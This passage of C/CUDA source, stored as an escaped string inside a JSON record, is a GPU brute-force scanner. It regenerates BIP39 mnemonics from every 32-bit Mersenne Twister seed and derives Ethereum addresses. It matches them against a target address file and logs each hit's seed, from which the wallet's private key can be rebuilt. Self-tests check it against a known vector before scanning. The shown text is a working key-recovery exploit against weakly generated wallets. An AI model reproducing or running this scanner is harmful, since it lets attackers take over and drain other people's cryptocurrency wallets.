1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 17, 18, 3, 5,  16, 8,  21, 24, 4,\n                                     15, 23, 19, 13, 12, 2, 20, 14, 22, 9,  6,  1};\nstatic void keccakf(uint64_t st[25]) {\n  for (int round = 0; round &lt; 24; round++) {\n    uint64_t bc[5];\n    for (int i = 0; i &lt; 5; i++) bc[i] = st[i] ^ st[i + 5] ^ st[i + 10] ^ st[i + 15] ^ st[i + 20];\n    for (int i = 0; i &lt; 5; i++) {\n      uint64_t t = bc[(i + 4) % 5] ^ ((bc[(i + 1) % 5] &lt;&lt; 1) | (bc[(i + 1) % 5] &gt;&gt; 63));\n      for (int j = 0; j &lt; 25; j += 5) st[j + i] ^= t;\n    }\n    uint64_t t = st[1];\n    for (int i = 0; i &lt; 24; i++) {\n      int j = KECCAKF_PILN[i];\n      bc[0] = st[j];\n      st[j] = (t &lt;&lt; KECCAKF_ROTC[i]) | (t &gt;&gt; (64 - KECCAKF_ROTC[i]));\n      t = bc[0];\n    }\n    for (int j = 0; j &lt; 25; j += 5) {\n      uint64_t tmp[5];\n      for (int i = 0; i &lt; 5; i++) tmp[i] = st[j + i];\n      for (int i = 0; i &lt; 5; i++) st[j + i] ^= (~tmp[(i + 1) % 5]) &amp; tmp[(i + 2) % 5];\n    }\n    st[0] ^= KECCAKF_RNDC[round];\n  }\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  uint64_t st[25];\n  memset(st, 0, sizeof(st));\n  uint8_t *s = (uint8_t *)st;\n  const size_t rsiz = 136;\n  while (inlen &gt;= rsiz) {\n    for (size_t i = 0; i &lt; rsiz; i++) s[i] ^= in[i];\n    keccakf(st);\n    in += rsiz;\n    inlen -= rsiz;\n  }\n  for (size_t i = 0; i &lt; inlen; i++) s[i] ^= in[i];\n  s[inlen] ^= 0x01;\n  s[rsiz - 1] ^= 0x80;\n  keccakf(st);\n  memcpy(out, st, 32);\n}\nstatic int eth_from_seed64(EcTls *e, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32], uncomp[65], h[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(e, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (ckd_priv(e, key, cc, 0) != 0) return -1;\n  if (priv_to_pub(e, key, uncomp, 0) != 0) return -1;\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  uint8_t kh[32];\n  keccak256((const uint8_t *)\"\", 0, kh);\n  char khex[65];\n  static const char *hh = \"0123456789abcdef\";\n  for (int i = 0; i &lt; 32; i++) { khex[2 * i] = hh[kh[i] &gt;&gt; 4]; khex[2 * i + 1] = hh[kh[i] &amp; 0xf]; }\n  khex[64] = 0;\n  if (strcmp(khex, \"c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470\") != 0) {\n    printf(\"host keccak empty FAIL %s\\n\", khex);\n    return 1;\n  }\n  printf(\"host keccak empty PASS\\n\");\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64], addr[20];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  int rc = eth_from_seed64(&amp;e, seed, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return 1;\n  uint8_t addr[20];\n  eth_from_seed64(&amp;e, got, addr);\n  ec_tls_free(&amp;e);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    EcTls e;\n    if (ec_tls_init(&amp;e) != 0) {\n      fprintf(stderr, \"ec_tls_init fail\\n\");\n    } else {\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    }\n    ec_tls_free(&amp;e);\n  }\n#else\n  EcTls e;\n  if (ec_tls_init(&amp;e) != 0) return;\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(&amp;e, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n  ec_tls_free(&amp;e);\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  int gpu_id = 0;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n    else if (!strcmp(argv[i], \"--gpu\") &amp;&amp; i + 1 &lt; argc) gpu_id = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(gpu_id)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  if (gpu_id &lt; 0 || gpu_id &gt;= ndev) {\n    fprintf(stderr, \"bad --gpu %d (have %d)\\n\", gpu_id, ndev);\n    return 1;\n  }\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpu=%d/%d targets=%zu\\n\", start, count, gpu_id, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  g_inner_threads = threads;\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n  {\n    CHECK_CUDA(cudaSetDevice(gpu_id));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    for (uint64_t s = start; s &lt; done_at; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; done_at - s) n = (int)(done_at - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:54:41.868651Z"}]}